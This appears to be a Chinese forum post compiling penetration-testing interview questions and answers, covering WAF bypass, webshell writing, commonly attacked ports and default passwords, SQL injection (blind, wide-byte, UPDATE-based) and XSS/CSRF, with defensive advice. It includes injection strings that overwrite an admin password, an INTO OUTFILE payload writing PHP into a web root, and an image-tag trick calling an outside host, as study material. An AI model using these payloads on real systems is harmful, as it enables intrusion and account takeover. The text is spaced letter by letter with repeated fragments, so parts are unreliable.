a s s e r t , c a l l _ u s e r _ f u n c , c a l l _ u s e r _ f u n c _ a r r a y , c r e a t e _ f u n c t i o n 2 ） 文 件 读 取 ： f i l e _ g e t _ c o n t e n t s ( ) , h i g h l i g h t _ f i l e ( ) , f o p e n ( ) , r e a d f i l e ( ) , f r e a d ( ) , f g e t s s ( ) ,   f g e t s ( ) , p a r s e _ i n i _ f i l e ( ) , s h o w _ s o u r c e ( ) , f i l e ( ) 等   3 ) 命 令 执 行 ： s y s t e m ( ) ,   e x e c ( ) ,   s h e l l _ e x e c ( ) ,   p a s s t h r u ( )   , p c n t l _ e x e c ( ) ,   p o p e n ( ) , p r o c _ o p e n ( ) 5 1 、 、 i m g 标 签 除 了 标 签 除 了 o n e r r o r 属 性 外 ， 还 有 其 他 获 取 管 理 员 路 径 的 办 法 吗 ？ 属 性 外 ， 还 有 其 他 获 取 管 理 员 路 径 的 办 法 吗 ？   s r c 指 定 一 个 远 程 的 脚 本 文 件 ， 获 取 r e f e r e r 5 2 、 、 i m g 标 签 除 了 标 签 除 了 o n e r r o r 属 性 外 ， 并 且 属 性 外 ， 并 且 s r c 属 性 的 后 缀 名 ， 必 须 以 属 性 的 后 缀 名 ， 必 须 以 . j p g 结 尾 ， 怎 么 获 取 管 理 员 路 径 。 结 尾 ， 怎 么 获 取 管 理 员 路 径 。 1 ） 远 程 服 务 器 修 改 a p a c h e 配 置 文 件 ， 配 置 . j p g 文 件 以 p h p 方 式 来 解 析   A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g   < i m g   s r c = h t t p : / / x s s . t v / 1 . j p g >   会 以 p h p 方 式 来 解 析 5 3 、 为 什 么 、 为 什 么 a s p x 木 马 权 限 比 木 马 权 限 比 a s p 大 ？ 大 ？
a s p x 使 用 的 是 . n e t 技 术 。 I I S   中 默 认 不 支 持 ， A S P 只 是 脚 本 语 言 而 已 。 入 侵 的 时 候 a s p 的 木 马 一 般 是 g u e s t 权 限 … A P S X 的 木 马 一 般 是 u s e r s 权 限 。 5 4 、 如 何 绕 过 、 如 何 绕 过 w a f ？ ？ ·   大 小 写 转 换 法 ·   干 扰 字 符   / * ! * / ·   编 码   b a s e 6 4   u n i c o d e   h e x   u r l   a s c l l ·   复 参 数 5 5 、 如 何 向 服 务 器 写 入 、 如 何 向 服 务 器 写 入 w e b s h e l l ？ ？ ·   各 种 上 传 漏 洞 ·   m y s q l 具 有 写 入 权 限 , 用 s q l 语 句 写 入 s h e l l ·   h t t p   p u t 方 法 5 6 、 渗 透 测 试 中 常 见 的 端 口 、 渗 透 测 试 中 常 见 的 端 口 1 , w e b 类 ( w e b 漏 洞 / 敏 感 目 录 )   第 三 方 通 用 组 件 漏 洞 s t r u t s   t h i n k p h p   j b o s s   g a n g l i a   z a b b i x 8 0   w e b 8 0 - 8 9   w e b 8 0 0 0 - 9 0 9 0   w e b 2 , 数 据 库 类 ( 扫 描 弱 口 令 ) 1 4 3 3   M S S Q L 1 5 2 1   O r a c l e 3 3 0 6   M y S Q L 5 4 3 2   P o s t g r e S Q L 3 , 特 殊 服 务 类 ( 未 授 权 / 命 令 执 行 类 / 漏 洞 ) 4 4 3   S S L 心 脏 滴 血 8 7 3   R s y n c 未 授 权 5 9 8 4   C o u c h D B   h t t p : / / x x x : 5 9 8 4 / _ u t i l s / 6 3 7 9   r e d i s 未 授 权 7 0 0 1 , 7 0 0 2   W e b L o g i c 默 认 弱 口 令 ， 反 序 列 9 2 0 0 , 9 3 0 0   e l a s t i c s e a r c h   参 考 W o o Y u n :   多 玩 某 服 务 器 E l a s t i c S e a r c h 命 令 执 行 漏 洞 1 1 2 1 1   m e m c a c h e 未 授 权 访 问 2 7 0 1 7 , 2 7 0 1 8   M o n g o d b 未 授 权 访 问 5 0 0 0 0   S A P 命 令 执 行 5 0 0 7 0 , 5 0 0 3 0   h a d o o p 默 认 端 口 未 授 权 访 问 4 , 常 用 端 口 类 ( 扫 描 弱 口 令 / 端 口 爆 破 ) 2 1   f t p 2 2   S S H 2 3   T e l n e t 2 6 0 1 , 2 6 0 4   z e b r a 路 由 ， 默 认 密 码 z e b r a
3 3 8 9   远 程 桌 面 端 口 合 计 详 情 2 1   f t p 2 2   S S H 2 3   T e l n e t 8 0   w e b 8 0 - 8 9   w e b 1 6 1   S N M P 3 8 9   L D A P 4 4 3   S S L 心 脏 滴 血 以 及 一 些 w e b 漏 洞 测 试 4 4 5   S M B 5 1 2 , 5 1 3 , 5 1 4   R e x e c 8 7 3   R s y n c 未 授 权 1 0 2 5 , 1 1 1   N F S 1 4 3 3   M S S Q L 1 5 2 1   O r a c l e : ( i S q l P l u s   P o r t : 5 5 6 0 , 7 7 7 8 ) 2 0 8 2 / 2 0 8 3   c p a n e l 主 机 管 理 系 统 登 陆   （ 国 外 用 较 多 ） 2 2 2 2   D A 虚 拟 主 机 管 理 系 统 登 陆   （ 国 外 用 较 多 ） 2 6 0 1 , 2 6 0 4   z e b r a 路 由 ， 默 认 密 码 z e b r a 3 1 2 8   s q u i d 代 理 默 认 端 口 ， 如 果 没 设 置 口 令 很 可 能 就 直 接 漫 游 内 网 了 3 3 0 6   M y S Q L 3 3 1 2 / 3 3 1 1   k a n g l e 主 机 管 理 系 统 登 陆 3 3 8 9   远 程 桌 面 4 4 4 0   r u n d e c k   参 考 W o o Y u n :   借 用 新 浪 某 服 务 成 功 漫 游 新 浪 内 网 5 4 3 2   P o s t g r e S Q L 5 9 0 0   v n c 5 9 8 4   C o u c h D B   h t t p : / / x x x : 5 9 8 4 / _ u t i l s / 6 0 8 2   v a r n i s h   参 考 W o o Y u n :   V a r n i s h   H T T P   a c c e l e r a t o r   C L I   未 授 权 访 问 易 导 致 网 站 被 直 接 篡 改 或 者 作 为 代 理 进 入 内 网 6 3 7 9   r e d i s 未 授 权 7 0 0 1 , 7 0 0 2   W e b L o g i c 默 认 弱 口 令 ， 反 序 列 7 7 7 8   K l o x o 主 机 控 制 面 板 登 录 8 0 0 0 - 9 0 9 0   都 是 一 些 常 见 的 w e b 端 口 ， 有 些 运 维 喜 欢 把 管 理 后 台 开 在 这 些 非 8 0 的 端 口 上 8 0 8 0   t o m c a t / W D C P 主 机 管 理 系 统 ， 默 认 弱 口 令 8 0 8 0 , 8 0 8 9 , 9 0 9 0   J B O S S 8 0 8 3   V e s t a c p 主 机 管 理 系 统   （ 国 外 用 较 多 ） 8 6 4 9   g a n g l i a
8 8 8 8   a m h / L u M a n a g e r   主 机 管 理 系 统 默 认 端 口 9 2 0 0 , 9 3 0 0   e l a s t i c s e a r c h   参 考 W o o Y u n :   多 玩 某 服 务 器 E l a s t i c S e a r c h 命 令 执 行 漏 洞 1 0 0 0 0   V i r t u a l m i n / W e b m i n   服 务 器 虚 拟 主 机 管 理 系 统 1 1 2 1 1   m e m c a c h e 未 授 权 访 问 2 7 0 1 7 , 2 7 0 1 8   M o n g o d b 未 授 权 访 问 2 8 0 1 7   m o n g o d b 统 计 页 面 5 0 0 0 0   S A P 命 令 执 行 5 0 0 7 0 , 5 0 0 3 0   h a d o o p 默 认 端 口 未 授 权 访 问 深 信 服 一 面 深 信 服 一 面 : ·   了 解 哪 些 漏 洞 ·   文 件 上 传 有 哪 些 防 护 方 式 ·   用 什 么 扫 描 端 口 ， 目 录 ·   如 何 判 断 注 入 ·   注 入 有 防 护 怎 么 办 ·   有 没 有 写 过 t a m p e r ·   3 3 0 6   1 4 4 3   8 0 8 0 是 什 么 端 口 ·   计 算 机 网 络 从 物 理 层 到 应 用 层 x x x x ·   有 没 有 w e b 服 务 开 发 经 验 ·   如 何 向 服 务 器 写 入 w e b s h e l l ·   有 没 有 用 过 x s s 平 台 ·   网 站 渗 透 的 流 程 ·   m y s q l 两 种 提 权 方 式 （ u d f ， ？ ） ·   常 见 加 密 方 式 x x x ·   d d o s 如 何 防 护 ·   有 没 有 抓 过 包 ， 会 不 会 写 w i r e s h a r k 过 滤 规 则 ·   清 理 日 志 要 清 理 哪 些 S Q L 注 入 防 护 注 入 防 护 1 、 使 用 安 全 的 A P I   2 、 对 输 入 的 特 殊 字 符 进 行 E s c a p e 转 义 处 理   3 、 使 用 白 名 单 来 规 范 化 输 入 验 证 方 法   4 、 对 客 户 端 输 入 进 行 控 制 ， 不 允 许 输 入 S Q L 注 入 相 关 的 特 殊 字 符   5 、 服 务 器 端 在 提 交 数 据 库 进 行 S Q L 查 询 之 前 ， 对 特 殊 字 符 进 行 过 滤 、 转 义 、 替 换 、 删 除 。   6 .   规 范 编 码 , 字 符 集 为 什 么 参 数 化 查 询 可 以 防 止 为 什 么 参 数 化 查 询 可 以 防 止 s q l 注 入 注 入 原 理 : 使 用 参 数 化 查 询 数 据 库 服 务 器 不 会 把 参 数 的 内 容 当 作 s q l 指 令 的 一 部 分 来 执 行 ， 是 在 数 据 库 完 成 s q l 指 令 的 编 译 后 才 套 用 参 数 运 行 简 单 的 说 :   参 数 化 能 防 注 入 的 原 因 在 于 , 语 句 是 语 句 ， 参 数 是 参 数 ， 参 数 的 值 并 不 是 语 句 的 一 部 分 ， 数 据 库 只 按 语 句 的 语 义 跑 S Q L 头 注 入 点 头 注 入 点 U A R E F E R E R
C O O K I E I P 盲 注 是 什 么 ？ 怎 么 盲 注 ？ 盲 注 是 什 么 ？ 怎 么 盲 注 ？ 盲 注 是 在 S Q L 注 入 攻 击 过 程 中 ， 服 务 器 关 闭 了 错 误 回 显 ， 我 们 单 纯 通 过 服 务 器 返 回 内 容 的 变 化 来 判 断 是 否 存 在 S Q L 注 入 和 利 用 的 方 式 。 盲 注 的 手 段 有 两 种 ， 一 个 是 通 过 页 面 的 返 回 内 容 是 否 正 确 ( b o o l e a n - b a s e d ) ， 来 验 证 是 否 存 在 注 入 。 一 个 是 通 过 s q l 语 句 处 理 时 间 的 不 同 来 判 断 是 否 存 在 注 入 ( t i m e - b a s e d ) ， 在 这 里 ， 可 以 用 b e n c h m a r k ， s l e e p 等 造 成 延 时 效 果 的 函 数 ， 也 可 以 通 过 构 造 大 笛 卡 儿 积 的 联 合 查 询 表 来 达 到 延 时 的 目 的 。 宽 字 节 注 入 产 生 原 理 以 及 根 本 原 因 宽 字 节 注 入 产 生 原 理 以 及 根 本 原 因 产 生 原 理 产 生 原 理 在 数 据 库 使 用 了 宽 字 符 集 而 W E B 中 没 考 虑 这 个 问 题 的 情 况 下 ， 在 W E B 层 ， 由 于 0 X B F 2 7 是 两 个 字 符 ， 在 P H P 中 比 如 a d d s l a s h 和 m a g i c _ q u o t e s _ g p c 开 启 时 ， 由 于 会 对 0 x 2 7 单 引 号 进 行 转 义 ， 因 此 0 x b f 2 7 会 变 成 0 x b f 5 c 2 7 , 而 数 据 进 入 数 据 库 中 时 ， 由 于 0 X B F 5 C 是 一 个 另 外 的 字 符 ， 因 此 转 义 符 号 会 被 前 面 的 b f 带 着 " 吃 掉 " ， 单 引 号 由 此 逃 逸 出 来 可 以 用 来 闭 合 语 句 。 在 哪 里 编 码 在 哪 里 编 码 根 本 原 因 根 本 原 因 c h a r a c t e r _ s e t _ c l i e n t ( 客 户 端 的 字 符 集 ) 和 c h a r a c t e r _ s e t _ c o n n e c t i o n ( 连 接 层 的 字 符 集 ) 不 同 , 或 转 换 函 数 如 ， i c o n v 、 m b _ c o n v e r t _ e n c o d i n g 使 用 不 当 。 解 决 办 法 解 决 办 法 统 一 数 据 库 、 W e b 应 用 、 操 作 系 统 所 使 用 的 字 符 集 ， 避 免 解 析 产 生 差 异 ， 最 好 都 设 置 为 U T F - 8 。   或 对 数 据 进 行 正 确 的 转 义 ， 如 m y s q l _ r e a l _ e s c a p e _ s t r i n g + m y s q l _ s e t _ c h a r s e t 的 使 用 。 s q l 里 面 只 有 里 面 只 有 u p d a t e 怎 么 利 用 怎 么 利 用 先 理 解 这 句   S Q L U P D A T E   u s e r   S E T   p a s s w o r d = ' M D 5 ( $ p a s s w o r d ) ' ,   h o m e p a g e = ' $ h o m e p a g e '   W H E R E   i d = ' $ i d ' 如 果 此   S Q L   被 修 改 成 以 下 形 式 ， 就 实 现 了 注 入 1 ： 修 改   h o m e p a g e   值 为 h t t p : / / x x x . n e t ' ,   u s e r l e v e l = ' 3 之 后   S Q L   语 句 变 为 U P D A T E   u s e r   S E T   p a s s w o r d = ' m y p a s s ' ,   h o m e p a g e = ' h t t p : / / x x x . n e t ' ,   u s e r l e v e l = ' 3 '   W H E R E   i d = ' $ i d ' u s e r l e v e l   为 用 户 级 别 2 : 修 改   p a s s w o r d   值 为 m y p a s s ) '   W H E R E   u s e r n a m e = ' a d m i n ' # 之 后   S Q L   语 句 变 为 U P D A T E   u s e r   S E T   p a s s w o r d = ' M D 5 ( m y p a s s ) '   W H E R E   u s e r n a m e = ' a d m i n ' # ) ' ,   h o m e p a g e = ' $ h o m e p a g e '   W H E R E   i d = ' $ i d ' 3 ： 修 改   i d   值 为 '   O R   u s e r n a m e = ' a d m i n '   之 后   S Q L   语 句 变 为 U P D A T E   u s e r   S E T   p a s s w o r d = ' M D 5 ( $ p a s s w o r d ) ' ,   h o m e p a g e = ' $ h o m e p a g e '   W H E R E   i d = ' '   O R   u s e r n a m e = ' a d m i n ' s q l 如 何 写 如 何 写 s h e l l / 单 引 号 被 过 滤 怎 么 办 单 引 号 被 过 滤 怎 么 办 写 s h e l l :   r o o t 权 限 ， G P C 关 闭 ， 知 道 文 件 路 径   o u t f i l e 函 数 ` h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 / s q l i . p h p ? i d = 1   i n t o   o u t f i l e   ' C : w a m p 6 4 w w w p h p i n f o . p h p '   F I E L D S   T E R M I N A T E D   B Y   ' < ? p h p   p h p i n f o ( ) ;   ? > ' `   ` h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 / s q l i . p h p ? i d = - 1   u n i o n   s e l e c t   1 , 0 x 3 c 3 f 7 0 6 8 7 0 2 0 7 0 6 8 7 0 6 9 6 e 6 6 6 f 2 8 2 9 3 b 2 0 3 f 3 e , 3 , 4   i n t o   o u t f i l e   ' C : w a m p 6 4 w w w p h p i n f o . p h p ' ` 宽 字 节 注 入 代 替 空 格 的 方 法 代 替 空 格 的 方 法
% 0 a 、 % 0 b 、 % a 0   等   / * * /   等 注 释 符   < > m y s q l 的 网 站 注 入 ， 的 网 站 注 入 ， 5 . 0 以 上 和 以 上 和 5 . 0 以 下 有 什 么 区 别 ？ 以 下 有 什 么 区 别 ？ 5 . 0 以 下 没 有 i n f o r m a t i o n _ s c h e m a 这 个 系 统 表 ， 无 法 列 表 名 等 ， 只 能 暴 力 跑 表 名 。 5 . 0 以 下 是 多 用 户 单 操 作 ， 5 . 0 以 上 是 多 用 户 多 操 做 。 X S S X S S 原 理 原 理 反 射 型 反 射 型 用 户 提 交 的 数 据 中 可 以 构 造 代 码 来 执 行 ， 从 而 实 现 窃 取 用 户 信 息 等 攻 击 。   需 要 诱 使 用 户 “ 点 击 ” 一 个 恶 意 链 接 ， 才 能 攻 击 成 功 储 存 型 储 存 型 存 储 型 X S S 会 把 用 户 输 入 的 数 据 “ 存 储 ” 在 服 务 器 端 。   这 种 X S S 具 有 很 强 的 稳 定 性 。 D O M 型 型 通 过 修 改 页 面 的 D O M 节 点 形 成 的 X S S ， 称 之 为 D O M   B a s e d   X S S 。 D O M 型 和 反 射 型 的 区 别 型 和 反 射 型 的 区 别 反 射 型 X S S ： 通 过 诱 导 用 户 点 击 ， 我 们 构 造 好 的 恶 意 p a y l o a d 才 会 触 发 的 X S S 。   反 射 型 X S S 的 检 测 我 们 在 每 次 请 求 带 p a y l o a d 的 链 接 时 页 面 应 该 是 会 带 有 特 定 的 畸 形 数 据 的 。   D O M 型 ： 通 过 修 改 页 面 的 D O M 节 点 形 成 的 X S S 。   D O M - b a s e d   X S S 由 于 是 通 过 j s 代 码 进 行 d o m 操 作 产 生 的 X S S ， 所 以 在 请 求 的 响 应 中 我 们 甚 至 不 一 定 会 得 到 相 应 的 畸 形 数 据 。   根 本 区 别 在 我 看 来 是 输 出 点 的 不 同 。 D O M 型 型 X S S   自 动 化 测 试 或 人 工 测 试 自 动 化 测 试 或 人 工 测 试 人 工 测 试 思 路 ： 找 到 类 似 d o c u m e n t . w r i t e 、 i n n e r H T M L 赋 值 、 o u t t e r H T M L 赋 值 、 w i n d o w . l o c a t i o n 操 作 、 写 j a v a s c r i p t : 后 内 容 、 e v a l 、 s e t T i m e o u t   、 s e t I n t e r v a l   等 直 接 执 行 之 类 的 函 数 点 。 找 到 其 变 量 ， 回 溯 变 量 来 源 观 察 是 否 可 控 ， 是 否 经 过 安 全 函 数 。   自 动 化 测 试 参 看 道 哥 的 博 客 ， 思 路 是 从 输 入 入 手 ， 观 察 变 量 传 递 的 过 程 ， 最 终 检 查 是 否 有 在 危 险 函 数 输 出 ， 中 途 是 否 有 经 过 安 全 函 数 。 但 是 这 样 就 需 要 有 一 个 j a v a s c r i p t 解 析 器 ， 否 则 会 漏 掉 一 些 通 过 j s 执 行 带 入 的 部 分 内 容 。 在 回 答 这 段 问 题 的 时 候 ， 由 于 平 时 对 客 户 的 检 测 中 ， 基 本 是 凭 借 不 同 功 能 点 的 功 能 加 上 经 验 和 直 觉 来 进 行 检 测 ， 对 不 同 类 型 的 X S S 检 测 方 式 实 际 上 并 没 有 太 过 细 分 的 标 准 化 检 测 方 式 ， 所 以 回 答 的 很 烂 。 。 。 如 何 快 速 发 现 如 何 快 速 发 现 x s s 位 置 位 置 对 于 对 于 X S S 怎 么 修 补 建 议 怎 么 修 补 建 议 输 入 点 检 查 ： 对 用 户 输 入 的 数 据 进 行 合 法 性 检 查 ， 使 用 f i l t e r 过 滤 敏 感 字 符 或 对 进 行 编 码 转 义 ， 针 对 特 定 类 型 数 据 进 行 格 式 检 查 。 针 对 输 入 点 的 检 查 最 好 放 在 服 务 器 端 实 现 。 输 出 点 检 查 ： 对 变 量 输 出 到 H T M L 页 面 中 时 ， 对 输 出 内 容 进 行 编 码 转 义 ， 输 出 在 H T M L 中 时 ， 对 其 进 行 H T M L E n c o d e ， 如 果 输 出 在 J a v a s c r i p t 脚 本 中 时 ， 对 其 进 行 J a v a s c r i p t E n c o d e 。   对 使 用 J a v a s c r i p t E n c o d e 的 变 量 都 放 在 引 号 中 并 转 义 危 险 字 符 ， d a t a 部 分 就 无 法 逃 逸 出 引 号 外 成 为 c o d e 的 一 部 分 。 还 可 以 使 用 更 加 严 格 的 方 法 ， 对 所 有 数 字 字 母 之 外 的 字 符 都 使 用 十 六 进 制 编 码 。 此 外 ， 要 注 意 在 浏 览 器 中 ， H T M L 的 解 析 会 优 先 于 J a v a s c r i p t 的 解 析 ， 编 码 的 方 式 也 需 要 考 虑 清 楚 ， 针 对 不 同 的 输 出 点 ， 我 们 防 御 X S S 的 方 法 可 能 会 不 同 ， 这 点 可 能 在 之 后 的 文 章 会 做 下 总 结 。 除 此 之 外 ， 还 有 做 H T T P O n l y 对 C o o k i e 劫 持 做 限 制 。 X S S 蠕 虫 的 产 生 条 件 蠕 虫 的 产 生 条 件 正 常 情 况 下 ， 一 个 是 产 生 X S S 点 的 页 面 不 属 于 s e l f 页 面 ， 用 户 之 间 产 生 交 互 行 为 的 页 面 ， 都 可 能 造 成 X S S   W o r m 的 产 生 。 不 一 定 需 要 不 一 定 需 要 存 储 型 X S S C S R F C S R F 原 理 原 理 C S R F 是 跨 站 请 求 伪 造 攻 击 ， 由 客 户 端 发 起 , 是 由 于 没 有 在 关 键 操 作 执 行 时 进 行 是 否 由 用 户 自 愿 发 起 的 确 认 防 御 防 御
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理